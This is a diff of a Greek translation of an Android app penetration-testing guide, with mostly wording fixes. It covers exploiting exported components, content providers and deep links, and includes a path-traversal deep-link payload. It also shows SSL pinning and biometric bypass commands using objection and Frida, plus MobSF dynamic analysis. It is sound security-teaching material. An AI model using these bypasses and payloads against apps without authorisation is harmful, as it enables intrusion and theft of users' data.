-Το Drozer είναι ένα χρήσιμο εργαλείο για να **εκμεταλλευτείτε εξαγόμενες δραστηριότητες, εξαγόμενες υπηρεσίες και Παρόχους Περιεχομένου** όπως θα μάθετε στις επόμενες ενότητες.
+Το Drozer είναι ένα χρήσιμο εργαλείο για **να εκμεταλλευτείτε εξαγόμενες δραστηριότητες, εξαγόμενες υπηρεσίες και Παρόχους Περιεχομένου** όπως θα μάθετε στις επόμενες ενότητες.
 
 ### Εκμετάλλευση εξαγόμενων Δραστηριοτήτων
 
 [**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι μια Δραστηριότητα Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
-Επίσης, θυμηθείτε ότι ο κώδικας μιας δραστηριότητας ξεκινά στη μέθοδο **`onCreate`**.
+Επίσης θυμηθείτε ότι ο κώδικας μιας δραστηριότητας ξεκινά στη μέθοδο **`onCreate`**.
 
 **Παράκαμψη εξουσιοδότησης**
 
 Όταν μια Δραστηριότητα είναι εξαγόμενη, μπορείτε να καλέσετε την οθόνη της από μια εξωτερική εφαρμογή. Επομένως, αν μια δραστηριότητα με **ευαίσθητες πληροφορίες** είναι **εξαγόμενη**, θα μπορούσατε να **παράκαμψετε** τους **μηχανισμούς αυθεντικοποίησης** **για να την αποκτήσετε**.
 
-[**Μάθετε πώς να εκμεταλλευτείτε τις εξαγόμενες δραστηριότητες με το Drozer.**](drozer-tutorial/index.html#activities)
+[**Μάθετε πώς να εκμεταλλευτείτε εξαγόμενες δραστηριότητες με το Drozer.**](drozer-tutorial/index.html#activities)
 
 Μπορείτε επίσης να ξεκινήσετε μια εξαγόμενη δραστηριότητα από το adb:
 
@@ -329,7 +333,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
 ```
 **ΣΗΜΕΙΩΣΗ**: Το MobSF θα ανιχνεύσει ως κακόβουλη τη χρήση του _**singleTask/singleInstance**_ ως `android:launchMode` σε μια δραστηριότητα, αλλά λόγω [αυτού](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), προφανώς αυτό είναι επικίνδυνο μόνο σε παλιές εκδόσεις (API εκδόσεις < 21).
 
-> [!ΣΥΜΒΟΥΛΗ]
+> [!TIP]
 > Σημειώστε ότι μια παράκαμψη εξουσιοδότησης δεν είναι πάντα ευπάθεια, θα εξαρτηθεί από το πώς λειτουργεί η παράκαμψη και ποιες πληροφορίες εκτίθενται.
 
 **Διαρροή ευαίσθητων πληροφοριών**
@@ -343,7 +347,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
 ### Εκμετάλλευση Παρόχων Περιεχομένου - Πρόσβαση και χειρισμός ευαίσθητων πληροφοριών
 
 [**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένας Πάροχος Περιεχομένου.**](android-applications-basics.md#content-provider)\
-Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Εάν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς μπορεί να είναι ευάλωτοι.
+Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Εάν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς θα μπορούσαν να είναι ευάλωτοι.
 
 [**Μάθετε πώς να εκμεταλλευτείτε τους Παρόχους Περιεχομένου με το Drozer.**](drozer-tutorial/index.html#content-providers)
 
@@ -360,7 +364,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
 [**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένας Δέκτης Εκπομπών.**](android-applications-basics.md#broadcast-receivers)\
 Θυμηθείτε ότι οι ενέργειες ενός Δέκτη Εκπομπών ξεκινούν στη μέθοδο `onReceive`.
 
-Ένας δέκτης εκπομπών θα περιμένει για έναν τύπο μηνύματος. Ανάλογα με το πώς ο δέκτης χειρίζεται το μήνυμα, μπορεί να είναι ευάλωτος.\
+Ένας δέκτης εκπομπών θα περιμένει για έναν τύπο μηνύματος. Ανάλογα με το πώς ο δέκτης χειρίζεται το μήνυμα, θα μπορούσε να είναι ευάλωτος.\
 [**Μάθετε πώς να εκμεταλλευτείτε τους Δέκτες Εκπομπών με το Drozer.**](#exploiting-broadcast-receivers)
 
 ### **Εκμετάλλευση Σχημάτων / Deep links**
@@ -385,47 +389,47 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
 
 **Ευαίσθητες πληροφορίες**
 
-Κάθε φορά που βρίσκετε ένα deep link ελέγξτε ότι **δεν λαμβάνει ευαίσθητα δεδομένα (όπως κωδικούς πρόσβασης) μέσω παραμέτρων URL**, γιατί οποιαδήποτε άλλη εφαρμογή θα μπορούσε **να προσποιηθεί το deep link και να κλέψει αυτά τα δεδομένα!**
+Κάθε φορά που βρίσκετε ένα deep link, ελέγξτε ότι **δεν λαμβάνει ευαίσθητα δεδομένα (όπως κωδικούς πρόσβασης) μέσω παραμέτρων URL**, γιατί οποιαδήποτε άλλη εφαρμογή θα μπορούσε **να προσποιηθεί το deep link και να κλέψει αυτά τα δεδομένα!**
 
 **Παράμετροι στη διαδρομή**
 
 Πρέπει επίσης να **ελέγξετε αν κάποιο deep link χρησιμοποιεί μια παράμετρο μέσα στη διαδρομή** του URL όπως: `https://api.example.com/v1/users/{username}`, σε αυτή την περίπτωση μπορείτε να αναγκάσετε μια διαδρομή traversal αποκτώντας πρόσβαση σε κάτι όπως: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
-Σημειώστε ότι αν βρείτε τα σωστά endpoints μέσα στην εφαρμογή μπορεί να είστε σε θέση να προκαλέσετε μια **Open Redirect** (αν μέρος της διαδρομής χρησιμοποιείται ως όνομα τομέα), **κατάληψη λογαριασμού** (αν μπορείτε να τροποποιήσετε λεπτομέρειες χρηστών χωρίς CSRF token και το ευάλωτο endpoint χρησιμοποίησε τη σωστή μέθοδο) και οποιαδήποτε άλλη ευπάθεια. Περισσότερες [πληροφορίες σχετικά με αυτό εδώ](http://dphoeniixx.com/2020/12/13-2/).
+Σημειώστε ότι αν βρείτε τα σωστά endpoints μέσα στην εφαρμογή, μπορεί να είστε σε θέση να προκαλέσετε μια **Open Redirect** (αν μέρος της διαδρομής χρησιμοποιείται ως όνομα τομέα), **κατάληψη λογαριασμού** (αν μπορείτε να τροποποιήσετε λεπτομέρειες χρηστών χωρίς CSRF token και το ευάλωτο endpoint χρησιμοποίησε τη σωστή μέθοδο) και οποιαδήποτε άλλη ευπάθεια. Περισσότερες [πληροφορίες σχετικά με αυτό εδώ](http://dphoeniixx.com/2020/12/13-2/).
 
 **Περισσότερα παραδείγματα**
 
 Ένα [ενδιαφέρον bug bounty report](https://hackerone.com/reports/855618) σχετικά με συνδέσμους (_/.well-known/assetlinks.json_).
 
-### Αποτυχίες Επιθεώρησης και Επαλήθευσης Στρώματος Μεταφοράς
+### Αποτυχίες Επιθεώρησης και Επαλήθευσης Επίπεδου Μεταφοράς
 
-- **Οι πιστοποιήσεις δεν ελέγχονται πάντα σωστά** από τις εφαρμογές Android. Είναι συνηθισμένο αυτές οι εφαρμογές να παραβλέπουν προειδοποιήσεις και να αποδέχονται αυτο-υπογεγραμμένες πιστοποιήσεις ή, σε ορισμένες περιπτώσεις, να επιστρέφουν στη χρήση HTTP συνδέσεων.
+- **Οι πιστοποιήσεις δεν ελέγχονται πάντα σωστά** από τις εφαρμογές Android. Είναι συνηθισμένο αυτές οι εφαρμογές να παραβλέπουν προειδοποιήσεις και να αποδέχονται αυτο-υπογεγραμμένες πιστοποιήσεις ή, σε ορισμένες περιπτώσεις, να επιστρέφουν στη χρήση συνδέσεων HTTP.
 - **Οι διαπραγματεύσεις κατά τη διάρκεια του SSL/TLS handshake είναι μερικές φορές αδύναμες**, χρησιμοποιώντας ανασφαλείς κρυπτογραφικές σουίτες. Αυτή η ευπάθεια καθιστά τη σύνδεση ευάλωτη σε επιθέσεις man-in-the-middle (MITM), επιτρέποντας στους επιτιθέμενους να αποκρυπτογραφήσουν τα δεδομένα.
 - **Διαρροή ιδιωτικών πληροφοριών** είναι ένας κίνδυνος όταν οι εφαρμογές πιστοποιούν χρησιμοποιώντας ασφαλείς διαύλους αλλά στη συνέχεια επικοινωνούν μέσω μη ασφαλών διαύλων για άλλες συναλλαγές. Αυτή η προσέγγιση αποτυγχάνει να προστατεύσει ευαίσθητα δεδομένα, όπως cookies συνεδρίας ή λεπτομέρειες χρηστών, από την παρεμβολή κακόβουλων οντοτήτων.
 
 #### Επαλήθευση Πιστοποιητικού
 
-Θα επικεντρωθούμε στην **επαλήθευση πιστοποιητικού**. Η ακεραιότητα του πιστοποιητικού του διακομιστή πρέπει να επαληθεύεται για να ενισχυθεί η ασφάλεια. Αυτό είναι κρίσιμο γιατί οι ανασφαλείς ρυθμίσεις TLS και η μετάδοση ευαίσθητων δεδομένων μέσω μη κρυπτογραφημένων καναλιών μπορεί να θέσουν σε σημαντικό κίνδυνο. Για λεπτομερείς οδηγίες σχετικά με την επαλήθευση πιστοποιητικών διακομιστή και την αντιμετώπιση ευπαθειών, [**αυτή η πηγή**](https://manifestsecurity.com/android-application-security-part-10/) παρέχει εκτενή καθοδήγηση.
+Θα επικεντρωθούμε στην **επαλήθευση πιστοποιητικού**. Η ακεραιότητα του πιστοποιητικού του διακομιστή πρέπει να επαληθεύεται για να ενισχυθεί η ασφάλεια. Αυτό είναι κρίσιμο γιατί οι ανασφαλείς ρυθμίσεις TLS και η μετάδοση ευαίσθητων δεδομένων μέσω μη κρυπτογραφημένων καναλιών μπορεί να θέσουν σημαντικούς κινδύνους. Για λεπτομερείς οδηγίες σχετικά με την επαλήθευση πιστοποιητικών διακομιστή και την αντιμετώπιση ευπαθειών, [**αυτή η πηγή**](https://manifestsecurity.com/android-application-security-part-10/) παρέχει εκτενή καθοδήγηση.
 
 #### SSL Pinning
 
-Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με μια γνωστή αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την αποτροπή επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή του SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες.
+Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με μια γνωστή αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την αποτροπή επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες.
 
 #### Επιθεώρηση Κίνησης
 
 Για να επιθεωρήσετε την κίνηση HTTP, είναι απαραίτητο να **εγκαταστήσετε το πιστοποιητικό του εργαλείου proxy** (π.χ., Burp). Χωρίς την εγκατάσταση αυτού του πιστοποιητικού, η κρυπτογραφημένη κίνηση μπορεί να μην είναι ορατή μέσω του proxy. Για οδηγίες σχετικά με την εγκατάσταση ενός προσαρμοσμένου πιστοποιητικού CA, [**κάντε κλικ εδώ**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
 
-Οι εφαρμογές που στοχεύουν **API Level 24 και άνω** απαιτούν τροποποιήσεις στη Ρύθμιση Ασφαλείας Δικτύου για να αποδεχτούν το πιστοποιητικό CA του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κίνησης. Για οδηγίες σχετικά με την τροποποίηση της Ρύθμισης Ασφαλείας Δικτύου, [**ανατρέξτε σε αυτό το σεμινάριο**](make-apk-accept-ca-certificate.md).
+Οι εφαρμογές που στοχεύουν **API Level 24 και άνω** απαιτούν τροποποιήσεις στη ρύθμιση ασφαλείας δικτύου για να αποδεχτούν το πιστοποιητικό CA του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κίνησης. Για οδηγίες σχετικά με την τροποποίηση της ρύθμισης ασφαλείας δικτύου, [**ανατρέξτε σε αυτό το σεμινάριο**](make-apk-accept-ca-certificate.md).
 
-Αν χρησιμοποιείται **Flutter** πρέπει να ακολουθήσετε τις οδηγίες σε [**αυτή τη σελίδα**](flutter.md). Αυτό συμβαίνει γιατί, απλά προσθέτοντας το πιστοποιητικό στο κατάστημα δεν θα λειτουργήσει καθώς το Flutter έχει τη δική του λίστα έγκυρων CA.
+Αν χρησιμοποιείται **Flutter**, πρέπει να ακολουθήσετε τις οδηγίες σε [**αυτή τη σελίδα**](flutter.md). Αυτό συμβαίνει γιατί, απλά προσθέτοντας το πιστοποιητικό στο κατάστημα δεν θα λειτουργήσει καθώς το Flutter έχει τη δική του λίστα έγκυρων CA.
 
 #### Παράκαμψη SSL Pinning
 
 Όταν έχει εφαρμοστεί το SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για την επιθεώρηση της κίνησης HTTPS. Διατίθενται διάφορες μέθοδοι για αυτόν τον σκοπό:
 
-- Αυτόματα **τροποποιήστε** το **apk** για να **παρακάμψετε** το SSLPinning με [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Το καλύτερο πλεονέκτημα αυτής της επιλογής είναι ότι δεν θα χρειαστείτε root για να παρακάμψετε το SSL Pinning, αλλά θα χρειαστεί να διαγράψετε την εφαρμογή και να εγκαταστήσετε τη νέα, και αυτό δεν θα λειτουργήσει πάντα.
+- Αυτόματα **τροποποιήστε** το **apk** για να **παράκαμψετε** το SSLPinning με [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Το καλύτερο πλεονέκτημα αυτής της επιλογής είναι ότι δεν θα χρειαστείτε root για να παρακάμψετε το SSL Pinning, αλλά θα χρειαστεί να διαγράψετε την εφαρμογή και να εγκαταστήσετε τη νέα, και αυτό δεν θα λειτουργήσει πάντα.
 - Μπορείτε να χρησιμοποιήσετε **Frida** (που συζητείται παρακάτω) για να παρακάμψετε αυτή την προστασία. Εδώ έχετε έναν οδηγό για τη χρήση Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
-- Μπορείτε επίσης να προσπαθήσετε να **παρακάμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
-- Μπορείτε επίσης να προσπαθήσετε να **παρακάμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας **MobSF dynamic analysis** (εξηγείται παρακάτω)
+- Μπορείτε επίσης να προσπαθήσετε να **παράκαμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
+- Μπορείτε επίσης να προσπαθήσετε να **παράκαμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας **MobSF dynamic analysis** (εξηγείται παρακάτω)
 - Αν νομίζετε ότι υπάρχει κάποια κίνηση που δεν καταγράφετε, μπορείτε να προσπαθήσετε να **προωθήσετε την κίνηση στο burp χρησιμοποιώντας iptables**. Διαβάστε αυτό το blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
 
 #### Αναζητώντας Κοινές Ευπάθειες Ιστού
@@ -435,14 +439,14 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
 ### Frida
 
 [Frida](https://www.frida.re) είναι ένα εργαλείο δυναμικής οργάνωσης για προγραμματιστές, αναλυτές αντίστροφης μηχανικής και ερευνητές ασφαλείας.\
-**Μπορείτε να αποκτήσετε πρόσβαση σε εκτελούμενες εφαρμογές και να συνδέσετε μεθόδους σε πραγματικό χρόνο για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να εκτελέσετε διαφορετικό κώδικα...**\
-Αν θέλετε να κάνετε pentest σε εφαρμογές Android πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida.
+**Μπορείτε να έχετε πρόσβαση σε εκτελούμενες εφαρμογές και να συνδέσετε μεθόδους σε πραγματικό χρόνο για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να εκτελέσετε διαφορετικό κώδικα...**\
+Αν θέλετε να κάνετε pentest σε εφαρμογές Android, πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida.
 
 - Μάθετε πώς να χρησιμοποιείτε το Frida: [**Frida tutorial**](frida-tutorial/index.html)
 - Μερικά "GUI" για ενέργειες με το Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
-- Ojection είναι εξαιρετικό για την αυτοματοποίηση της χρήσης του Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
+- Το Ojection είναι εξαιρετικό για την αυτοματοποίηση της χρήσης του Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
 - Μπορείτε να βρείτε μερικά καταπληκτικά σενάρια Frida εδώ: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
-- Προσπαθήστε να παρακάμψετε μηχανισμούς anti-debugging / anti-frida φορτώνοντας το Frida όπως υποδεικνύεται σε [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (εργαλείο [linjector](https://github.com/erfur/linjector-rs))
+- Προσπαθήστε να παρακάμψετε μηχανισμούς anti-debugging / anti-frida φορτώνοντας το Frida όπως αναφέρεται σε [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (εργαλείο [linjector](https://github.com/erfur/linjector-rs))
 
 ### **Dump Memory - Fridump**
 
@@ -463,7 +467,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
 ```
 ### **Ευαίσθητα δεδομένα στο Keystore**
 
-Στο Android, το Keystore είναι το καλύτερο μέρος για να αποθηκεύσετε ευαίσθητα δεδομένα, ωστόσο, με αρκετά δικαιώματα, είναι ακόμα **δυνατό να αποκτήσετε πρόσβαση σε αυτό**. Καθώς οι εφαρμογές τείνουν να αποθηκεύουν εδώ **ευαίσθητα δεδομένα σε καθαρό κείμενο**, οι δοκιμές διείσδυσης θα πρέπει να ελέγχουν γι' αυτό ως χρήστης root ή κάποιος με φυσική πρόσβαση στη συσκευή θα μπορούσε να είναι σε θέση να κλέψει αυτά τα δεδομένα.
+Στο Android, το Keystore είναι το καλύτερο μέρος για να αποθηκεύσετε ευαίσθητα δεδομένα, ωστόσο, με αρκετά δικαιώματα είναι ακόμα **δυνατό να αποκτήσετε πρόσβαση σε αυτό**. Καθώς οι εφαρμογές τείνουν να αποθηκεύουν εδώ **ευαίσθητα δεδομένα σε καθαρό κείμενο**, οι δοκιμές διείσδυσης θα πρέπει να ελέγχουν γι' αυτό ως χρήστης root ή κάποιος με φυσική πρόσβαση στη συσκευή θα μπορούσε να είναι σε θέση να κλέψει αυτά τα δεδομένα.
 
 Ακόμα και αν μια εφαρμογή αποθηκεύει δεδομένα στο keystore, τα δεδομένα θα πρέπει να είναι κρυπτογραφημένα.
 
@@ -479,7 +483,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
 ```
 ### **Εικόνες Φόντου**
 
-Όταν βάζετε μια εφαρμογή στο παρασκήνιο, το Android αποθηκεύει μια **στιγμιότυπο της εφαρμογής** έτσι ώστε όταν ανακτηθεί στο προσκήνιο να αρχίσει να φορτώνει την εικόνα πριν από την εφαρμογή, κάνοντάς την να φαίνεται ότι η εφαρμογή φορτώθηκε πιο γρήγορα.
+Όταν βάζετε μια εφαρμογή σε φόντο, το Android αποθηκεύει μια **στιγμιότυπο της εφαρμογής** έτσι ώστε όταν ανακτηθεί στο προσκήνιο να αρχίσει να φορτώνει την εικόνα πριν από την εφαρμογή, ώστε να φαίνεται ότι η εφαρμογή φορτώθηκε πιο γρήγορα.
 
 Ωστόσο, αν αυτό το στιγμιότυπο περιέχει **ευαίσθητες πληροφορίες**, κάποιος με πρόσβαση στο στιγμιότυπο μπορεί να **κλέψει αυτές τις πληροφορίες** (σημειώστε ότι χρειάζεστε root για να έχετε πρόσβαση σε αυτό).
 
@@ -497,7 +501,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 
 Οι προγραμματιστές συχνά δημιουργούν proxy components όπως activities, services και broadcast receivers που χειρίζονται αυτά τα Intents και τα περνούν σε μεθόδους όπως `startActivity(...)` ή `sendBroadcast(...)`, οι οποίες μπορεί να είναι επικίνδυνες.
 
-Ο κίνδυνος έγκειται στην επιτρεπτικότητα στους επιτιθέμενους να ενεργοποιούν μη εξαγόμενα components εφαρμογής ή να έχουν πρόσβαση σε ευαίσθητους content providers παραπλανώντας αυτά τα Intents. Ένα αξιοσημείωτο παράδειγμα είναι το component `WebView` που μετατρέπει URLs σε αντικείμενα `Intent` μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, ενδεχομένως οδηγώντας σε κακόβουλες εισαγωγές Intent.
+Ο κίνδυνος έγκειται στην επιτρεπτικότητα στους επιτιθέμενους να ενεργοποιούν μη εξαγόμενα components εφαρμογών ή να έχουν πρόσβαση σε ευαίσθητους content providers παραπλανώντας αυτά τα Intents. Ένα αξιοσημείωτο παράδειγμα είναι το component `WebView` που μετατρέπει URLs σε αντικείμενα `Intent` μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, ενδεχομένως οδηγώντας σε κακόβουλες εισαγωγές Intent.
 
 ### Σημαντικά Σημεία
 
@@ -531,17 +535,17 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 docker pull opensecurity/mobile-security-framework-mobsf
 docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
 ```
-Παρατηρήστε ότι το MobSF μπορεί να αναλύσει εφαρμογές **Android**(apk)**, IOS**(ipa) **και Windows**(apx) (_Οι εφαρμογές Windows πρέπει να αναλύονται από ένα MobSF εγκατεστημένο σε έναν υπολογιστή Windows_).\
-Επίσης, αν δημιουργήσετε ένα αρχείο **ZIP** με τον πηγαίο κώδικα μιας εφαρμογής **Android** ή **IOS** (πηγαίνετε στον ριζικό φάκελο της εφαρμογής, επιλέξτε τα πάντα και δημιουργήστε ένα αρχείο ZIP), θα μπορέσει να το αναλύσει επίσης.
+Παρατηρήστε ότι το MobSF μπορεί να αναλύσει **Android**(apk)**, IOS**(ipa) **και Windows**(apx) εφαρμογές (_Οι εφαρμογές Windows πρέπει να αναλύονται από ένα MobSF εγκατεστημένο σε έναν υπολογιστή Windows_).\
+Επίσης, αν δημιουργήσετε ένα **ZIP** αρχείο με τον πηγαίο κώδικα μιας **Android** ή **IOS** εφαρμογής (πηγαίνετε στον ριζικό φάκελο της εφαρμογής, επιλέξτε τα πάντα και δημιουργήστε ένα ZIP αρχείο), θα μπορέσει να το αναλύσει επίσης.
 
-Το MobSF επιτρέπει επίσης την ανάλυση **diff/Compare** και την ενσωμάτωση του **VirusTotal** (θα χρειαστεί να ρυθμίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ρυθμίσετε το `VT_UPLOAD` σε `False`, τότε το **hash** θα **ανεβεί** αντί για το αρχείο.
+Το MobSF επιτρέπει επίσης την **diff/Compare** ανάλυση και την ενσωμάτωση του **VirusTotal** (θα χρειαστεί να ρυθμίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ρυθμίσετε το `VT_UPLOAD` σε `False`, τότε το **hash** θα **ανεβεί** αντί για το αρχείο.
 
 ### Βοηθητική Δυναμική ανάλυση με το MobSF
 
 **MobSF** μπορεί επίσης να είναι πολύ χρήσιμο για **δυναμική ανάλυση** σε **Android**, αλλά σε αυτή την περίπτωση θα χρειαστεί να εγκαταστήσετε το MobSF και το **genymotion** στον υπολογιστή σας (μια VM ή Docker δεν θα λειτουργήσει). _Σημείωση: Πρέπει να **ξεκινήσετε πρώτα μια VM στο genymotion** και **μετά το MobSF.**_\
 Ο **δυναμικός αναλυτής MobSF** μπορεί να:
 
-- **Dump application data** (URLs, logs, clipboard, screenshots που κάνατε εσείς, screenshots που έγιναν από τον "**Exported Activity Tester**", emails, SQLite βάσεις δεδομένων, XML αρχεία και άλλα δημιουργημένα αρχεία). Όλα αυτά γίνονται αυτόματα εκτός από τα screenshots, πρέπει να πατήσετε όταν θέλετε ένα screenshot ή να πατήσετε "**Exported Activity Tester**" για να αποκτήσετε screenshots όλων των εξαγόμενων δραστηριοτήτων.
+- **Dump application data** (URLs, logs, clipboard, screenshots που κάνατε εσείς, screenshots που έγιναν από τον "**Exported Activity Tester**", emails, SQLite βάσεις δεδομένων, XML αρχεία και άλλα δημιουργημένα αρχεία). Όλα αυτά γίνονται αυτόματα εκτός από τα screenshots, πρέπει να πατήσετε όταν θέλετε ένα screenshot ή πρέπει να πατήσετε "**Exported Activity Tester**" για να αποκτήσετε screenshots όλων των εξαγόμενων δραστηριοτήτων.
 - Capture **HTTPS traffic**
 - Use **Frida** to obtain **runtime** **information**
 
@@ -549,11 +553,11 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
 
 **Frida**
 
-Από προεπιλογή, θα χρησιμοποιήσει επίσης κάποια σενάρια Frida για να **παρακάμψει το SSL pinning**, **ανίχνευση root** και **ανίχνευση debugger** και για να **παρακολουθήσει ενδιαφέροντα APIs**.\
+Από προεπιλογή, θα χρησιμοποιήσει επίσης κάποια Frida Scripts για να **παρακάμψει το SSL pinning**, **ανίχνευση root** και **ανίχνευση debugger** και για να **παρακολουθήσει ενδιαφέροντα APIs**.\
 Το MobSF μπορεί επίσης να **καλέσει εξαγόμενες δραστηριότητες**, να τραβήξει **screenshots** από αυτές και να τις **αποθηκεύσει** για την αναφορά.
 
-Για να **ξεκινήσετε** τη δυναμική δοκιμή, πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα σενάρια Frida και "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε συνδεδεμένες μεθόδους, τα ορίσματα που περνιούνται και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\
-Το MobSF επιτρέπει επίσης να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των σενάριων σας στο MobSF, χρησιμοποιήστε τη λειτουργία `send()`). Έχει επίσης **πολλά προ-γραμμένα σενάρια** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των σεναρίων μέσα στο "**Frida Live Logs**").
+Για να **ξεκινήσετε** τη δυναμική δοκιμή πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα Frida scripts και "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε συνδεδεμένες μεθόδους, τα ορίσματα που περνιούνται και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\
+Το MobSF επιτρέπει επίσης να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των scripts σας στο MobSF χρησιμοποιήστε τη λειτουργία `send()`). Έχει επίσης **πολλά προ-γραμμένα scripts** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των scripts μέσα στο "**Frida Live Logs**").
 
 ![](<../../images/image (419).png>)
 
@@ -564,13 +568,13 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
 - **Capture String Comparisons**: Μπορεί να είναι πολύ χρήσιμο. Θα **δείξει τις 2 συμβολοσειρές που συγκρίνονται** και αν το αποτέλεσμα ήταν True ή False.
 - **Enumerate Class Methods**: Βάλτε το όνομα της κλάσης (όπως "java.io.File") και θα εκτυπώσει όλες τις μεθόδους της κλάσης.
 - **Search Class Pattern**: Αναζητήστε κλάσεις κατά μοτίβο
